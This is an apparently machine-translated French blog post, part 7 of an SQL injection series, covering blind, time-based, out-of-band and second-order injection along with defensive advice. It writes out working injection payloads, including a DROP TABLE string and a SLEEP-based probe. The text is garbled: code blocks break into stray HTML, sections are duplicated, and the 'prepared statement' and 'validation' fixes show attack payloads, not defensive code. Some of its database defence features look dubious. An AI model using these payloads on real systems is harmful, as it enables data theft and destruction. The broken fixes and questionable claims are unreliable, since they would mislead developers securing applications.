Auteur : Trix Cyrus
Outil Waymap Pentesting : cliquez ici
TrixSec Github : cliquez ici
Télégramme TrixSec : cliquez ici
Exploits avancés par injection SQL – Partie 7 : Techniques de pointe et prévention
Bienvenue dans la septième partie de notre série sur les injections SQL ! Cet article explore les techniques avancées d'injection SQL utilisées par les attaquants et propose des stratégies concrètes pour les contrer. À mesure que les menaces évoluent, il est essentiel de comprendre ces méthodes sophistiquées pour garder une longueur d’avance.
1. Techniques avancées d'injection SQL
1.1. Injection SQL hors bande
L'injection hors bande (OOB) est utilisée lorsque l'attaquant ne peut pas observer directement les résultats de sa charge utile. Au lieu de cela, ils s'appuient sur des requêtes DNS ou HTTP pour exfiltrer les données.
-
Comment ça marche :
La charge utile déclenche une requête qui envoie des données à un serveur contrôlé par l'attaquant. Par exemple:
1 2 3 4 5 | SELECT * FROM users WHERE>
<p>The above payload exploits SQL Server's xp_dirtree to make an outbound DNS request. </p>
|
Copier après la connexion
Copier après la connexion
1.2. Boolean-Based Blind SQL Injection
This method determines true or false conditions based on subtle changes in the application's behavior.
1 2 | ' AND 1=1 -- True condition
' AND 1=2 -- False condition
|
Copier après la connexion
Copier après la connexion
Les différences de réponse indiquent si la condition injectée est vraie ou fausse.
1.3. Injection SQL aveugle basée sur le temps
Cette technique utilise des délais pour déduire des données. L'attaquant observe le temps que met le serveur à répondre.
-
Exemple de charge utile :
1 | SELECT IF(1=1, SLEEP(5), 0); -- Delays response by 5 seconds
|
Copier après la connexion
Copier après la connexion
1.4. Injection SQL de second ordre
Dans cette technique, les charges utiles malveillantes sont stockées dans la base de données et déclenchées lors d'une action ultérieure, telle qu'un examen par l'administrateur.
-
Exemple de scénario :
- L'attaquant insère cette charge utile dans un formulaire :
1 | Robert'); DROP TABLE users; --
|
Copier après la connexion
Copier après la connexion
- Lors d'une révision, l'application exécute la charge utile stockée.
-
Atténuation :
- Échapper et désinfecter les entrées à chaque étape, même pendant la récupération.
- Utilisez des fonctions de base de données immuables pour empêcher l'exécution de scripts malveillants.
2. Études de cas réels
Étude de cas 1 : Vulnérabilité Magento (CVE-2019-8144)
Incident :
- Les attaquants ont exploité une vulnérabilité d'injection SQL basée sur le temps dans la plateforme de commerce électronique de Magento.
- Ils ont contourné l’authentification et ont eu accès aux données sensibles des clients.
Leçons d'atténuation :
- Corrigez régulièrement les logiciels pour remédier aux vulnérabilités connues.
- Effectuez des tests de sécurité sur les plugins et extensions tiers.
Étude de cas 2 : Shopify (Bug Bounty 2020)
Incident :
- Un chercheur en sécurité a identifié une vulnérabilité d'injection SQL OOB dans l'API de Shopify, qui pourrait divulguer des données sensibles via DNS.
- Ceci a été détecté avant exploitation, grâce au programme de bug bounty de Shopify.
Leçons d'atténuation :
- Investissez dans des programmes de bug bounty pour encourager le reporting éthique des vulnérabilités.
- Exploitez les passerelles API pour appliquer une validation stricte des requêtes.
3. Stratégies défensives avancées
3.1. Analyse des requêtes dynamiques
Utilisez des outils qui surveillent les requêtes de base de données pour détecter des modèles inhabituels ou une complexité excessive.
-
Outils :
- SQLMap : Pour tester vos systèmes.
- Aqua Security ou Imperva : pour la protection d'exécution.
3.2. Validation contextuelle
Appliquer les règles de validation en fonction du contexte :
-
Pages de connexion : validez les informations d'identification pour autoriser uniquement les valeurs alphanumériques.
-
Formulaires de recherche : désinfectez les entrées pour exclure les opérateurs SQL comme SELECT ou UNION.
3.3. Configurations spécifiques à la base de données
- Activez des fonctionnalités telles que le Mode de détection d'injection SQL dans MySQL.
- Utilisez les filtres SECCOMP dans PostgreSQL pour restreindre les opérations dangereuses.
3.4. Tests d'intrusion continus
- Simulez des attaques pour identifier les vulnérabilités avant les attaquants.
- Automatisez avec les pipelines CI/CD à l'aide d'outils comme OWASP ZAP ou Burp Suite.
4. Défi pratique : Simulation d'exploitation et défense
Scénario
Un site e-commerce permet aux utilisateurs de rechercher des produits à l'aide d'un champ de saisie. Testez-le et sécurisez-le.
Étapes :
- Injectez une charge utile pour détecter la vulnérabilité d'injection SQL :
1 2 3 4 5 | SELECT * FROM users WHERE>
<p>The above payload exploits SQL Server's xp_dirtree to make an outbound DNS request. </p>
|
Copier après la connexion
Copier après la connexion
1.2. Boolean-Based Blind SQL Injection
This method determines true or false conditions based on subtle changes in the application's behavior.
1 2 | ' AND 1=1 -- True condition
' AND 1=2 -- False condition
|
Copier après la connexion
Copier après la connexion
- Si le site est vulnérable, utilisez des outils automatisés comme SQLMap pour simuler l'extraction de données.
Correction défensive :
- Mettre en œuvre les déclarations préparées :
1 | SELECT IF(1=1, SLEEP(5), 0); -- Delays response by 5 seconds
|
Copier après la connexion
Copier après la connexion
- Valider la saisie à l'aide d'un modèle strict :
1 | Robert'); DROP TABLE users; --
|
Copier après la connexion
Copier après la connexion
5. Tendances des attaques par injection SQL
5.1. Exploits cloud
Les bases de données basées sur le cloud sont de plus en plus ciblées en raison de mauvaises configurations.
5.2. Vulnérabilités des API
Avec l’essor des microservices, les API mal conçues constituent un point d’entrée pour les attaquants.
5.3. Attaques basées sur l'IA
Les outils automatisés exploitent l'IA pour créer des charges utiles d'injection complexes.
Pensées finales
Cette session avancée met en évidence la nature évolutive de l'injection SQL et l'importance d'une défense proactive. En comprenant les techniques de pointe et en mettant en œuvre des mesures de sécurité robustes, vous pouvez réduire considérablement le risque d’exploitation.
~Trixsec
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!